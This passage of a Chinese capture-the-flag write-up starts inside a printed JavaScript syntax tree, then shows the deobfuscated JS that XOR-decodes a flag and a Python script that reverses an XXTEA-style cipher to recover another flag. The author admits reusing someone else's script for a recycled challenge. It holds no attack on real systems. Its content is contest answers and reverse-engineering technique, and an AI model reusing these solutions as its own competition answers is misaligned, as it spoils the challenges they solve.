                                            "end": 162,
                                            "object": {
                                              "type": "Identifier",
                                              "start": 143,
                                              "end": 149,
                                              "name": "String"
                                            },
                                            "property": {
                                              "type": "Identifier",
                                              "start": 150,
                                              "end": 162,
                                              "name": "fromCharCode"
                                            },
                                            "computed": false,
                                            "optional": false
                                          },
                                          "arguments": [
                                            {
                                              "type": "BinaryExpression",
                                              "start": 163,
                                              "end": 187,
                                              "left": {
                                                "type": "CallExpression",
                                                "start": 163,
                                                "end": 177,
                                                "callee": {
                                                  "type": "MemberExpression",
                                                  "start": 163,
                                                  "end": 175,
                                                  "object": {
                                                    "type": "Identifier",
                                                    "start": 163,
                                                    "end": 164,
                                                    "name": "i"
                                                  },
                                                  "property": {
                                                    "type": "Identifier",
                                                    "start": 165,
                                                    "end": 175,
                                                    "name": "charCodeAt"
                                                  },
                                                  "computed": false,
                                                  "optional": false
                                                },
                                                "arguments": [],
                                                "optional": false
                                              },
                                              "operator": "^",
                                              "right": {
                                                "type": "BinaryExpression",
                                                "start": 180,
                                                "end": 187,
                                                "left": {
                                                  "type": "Identifier",
                                                  "start": 180,
                                                  "end": 183,
                                                  "name": "key"
                                                },
                                                "operator": "+",
                                                "right": {
                                                  "type": "Literal",
                                                  "start": 186,
                                                  "end": 187,
                                                  "value": 1,
                                                  "raw": "1"
                                                }
                                              }
                                            }
                                          ],
                                          "optional": false
                                        }
                                      }
                                    ]
                                  }
                                }
                              ],
                              "optional": false
                            },
                            "property": {
                              "type": "Identifier",
                              "start": 201,
                              "end": 205,
                              "name": "join"
                            },
                            "computed": false,
                            "optional": false
                          },
                          "arguments": [
                            {
                              "type": "Literal",
                              "start": 206,
                              "end": 208,
                              "value": "",
                              "raw": "''"
                            }
                          ],
                          "optional": false
                        }
                      }
                    ]
                  }
                },
                {
                  "type": "VariableDeclaration",
                  "start": 221,
                  "end": 238,
                  "declarations": [
                    {
                      "type": "VariableDeclarator",
                      "start": 225,
                      "end": 237,
                      "id": {
                        "type": "Identifier",
                        "start": 225,
                        "end": 228,
                        "name": "$_a"
                      },
                      "init": {
                        "type": "CallExpression",
                        "start": 231,
                        "end": 237,
                        "callee": {
                          "type": "Identifier",
                          "start": 231,
                          "end": 235,
                          "name": "test"
                        },
                        "arguments": [],
                        "optional": false
                      }
                    }
                  ],
                  "kind": "var"
                },
                {
                  "type": "ExpressionStatement",
                  "start": 243,
                  "end": 258,
                  "expression": {
                    "type": "AssignmentExpression",
                    "start": 243,
                    "end": 258,
                    "operator": "-=",
                    "left": {
                      "type": "Identifier",
                      "start": 243,
                      "end": 246,
                      "name": "$_a"
                    },
                    "right": {
                      "type": "BinaryExpression",
                      "start": 250,
                      "end": 258,
                      "left": {
                        "type": "Literal",
                        "start": 250,
                        "end": 254,
                        "value": 1145,
                        "raw": "1145"
                      },
                      "operator": "*",
                      "right": {
                        "type": "Literal",
                        "start": 255,
                        "end": 258,
                        "value": 100,
                        "raw": "100"
                      }
                    }
                  }
                },
                {
                  "type": "ExpressionStatement",
                  "start": 263,
                  "end": 273,
                  "expression": {
                    "type": "AssignmentExpression",
                    "start": 263,
                    "end": 273,
                    "operator": "+=",
                    "left": {
                      "type": "Identifier",
                      "start": 263,
                      "end": 266,
                      "name": "$_a"
                    },
                    "right": {
                      "type": "Literal",
                      "start": 270,
                      "end": 273,
                      "value": 11,
                      "raw": "0xb"
                    }
                  }
                },
                {
                  "type": "ExpressionStatement",
                  "start": 278,
                  "end": 335,
                  "expression": {
                    "type": "CallExpression",
                    "start": 278,
                    "end": 334,
                    "callee": {
                      "type": "MemberExpression",
                      "start": 278,
                      "end": 289,
                      "object": {
                        "type": "Identifier",
                        "start": 278,
                        "end": 285,
                        "name": "console"
                      },
                      "property": {
                        "type": "Identifier",
                        "start": 286,
                        "end": 289,
                        "name": "log"
                      },
                      "computed": false,
                      "optional": false
                    },
                    "arguments": [
                      {
                        "type": "CallExpression",
                        "start": 290,
                        "end": 333,
                        "callee": {
                          "type": "Identifier",
                          "start": 290,
                          "end": 298,
                          "name": "ezdecode"
                        },
                        "arguments": [
                          {
                            "type": "Literal",
                            "start": 299,
                            "end": 327,
                            "value": "OTYN\\a[inE+iEl.hcEo)ivo+g",
                            "raw": "'OTYN\\\\a[inE+iEl.hcEo)ivo+g'"
                          },
                          {
                            "type": "Identifier",
                            "start": 329,
                            "end": 332,
                            "name": "$_a"
                          }
                        ],
                        "optional": false
                      }
                    ],
                    "optional": false
                  }
                }
              ]
            }
          },
          "arguments": [],
          "optional": false
        }
      },
      {
        "type": "FunctionDeclaration",
        "start": 342,
        "end": 379,
        "id": {
          "type": "Identifier",
          "start": 351,
          "end": 355,
          "name": "test"
        },
        "expression": false,
        "generator": false,
        "async": false,
        "params": [],
        "body": {
          "type": "BlockStatement",
          "start": 357,
          "end": 379,
          "body": [
            {
              "type": "ReturnStatement",
              "start": 363,
              "end": 377,
              "argument": {
                "type": "Literal",
                "start": 370,
                "end": 376,
                "value": 114514,
                "raw": "114514"
              }
            }
          ]
        }
      }
    ],
    "sourceType": "module"
  });

console.log(t)

image-20221117155055390

直接运行就完事了

(function () {
    function ezdecode(flag, key) {
        var arr_data = flag.split('');
        return arr_data.map(i => {
            return String.fromCharCode(i.charCodeAt() ^ key + 1);
        }).join('');
    }
    var $_a = test();
    $_a -= 1145 * 100;
    $_a += 11;
    console.log(ezdecode('OTYN\\a[inE+iEl.hcEo)ivo+g', $_a));
}());
function test() {
    return 114514;
}

image-20221117155144306

今天喝茶,明天上班

直接无语了,Dest0g3招新赛的原题,flag都没改。。wp网上一搜一大把,随便找个佬脚本拿来跑

from libnum import s2n,n2s
c = bytes.fromhex('0323222F3688FD4321E85B65311E3BA64BB8DC888019846F97722126AD64EEBB88044D062F26E56B814BF573')

delta = 0x66403319 ^ 0x12345678


del_arr = n2s(delta)[::-1]
p = []
for i in del_arr:
    if i&0x80 != 0:
        p.append(i+0xffffff)
    else:
        p.append(i)
del_arr = p 
print(','.join([hex(i) for i in del_arr]))

tab = [delta*(i+1)& 0xffffffff for i in range(10)]
print(",".join([hex(i) for i in tab]))

def decrypt(c):
    flag = [s2n(c[i: i+4][::-1]) for i in range(0, len(c), 4)]
    for i in range(9,-1,-1):  #10轮加密
        v10 = tab[i]
        v7 = (v10>>2)&3
        #print(hex(v10))
        for j in range(10,-1,-1): #11组 * 4
            i_big = (j+1)%11
            i_small = (j-1)%11
            v11 = flag[i_small]
            v12 = flag[i_big]
            v3 = ((v11 ^ del_arr[v7 ^ j & 3])+(v12 ^ v10) ) ^ ((((v11<<4) &0xffffffff)^ (v12 >> 3))+(((v12<<2)&0xffffffff) ^ (v11 >> 6)))
            flag[j] = (flag[j] - v3)&0xffffffff 
        print(",".join([hex(i)[2:] for i in flag]))
    m = b''
    for i in flag:
        m +=n2s(i)[::-1] 
    print(m)

def encrypt(c):
    flag = [s2n(c[i: i+4][::-1]) for i in range(0, len(c), 4)]
    for i in range(10):  #10轮加密
        v10 = tab[i]
        v7 = (v10>>2)&3
        #print(hex(v10))
        for j in range(11): #11组 * 4
            i_big = (j+1)%11
            i_small = (j-1)%11
            v11 = flag[i_small]
            v12 = flag[i_big]
            v3 = ((v11 ^ del_arr[v7 ^ j & 3])+(v12 ^ v10) ) ^ ((((v11<<4) &0xffffffff)^ (v12 >> 3))+(((v12<<2)&0xffffffff) ^ (v11 >> 6)))
            flag[j] = (flag[j] + v3)&0xffffffff 
        print(",".join([hex(i)[2:] for i in flag]))
    m = b''
    for i in flag:
        m +=n2s(i)[::-1]   
    print(m)
    return m 

decrypt(c)

image-20221118120746555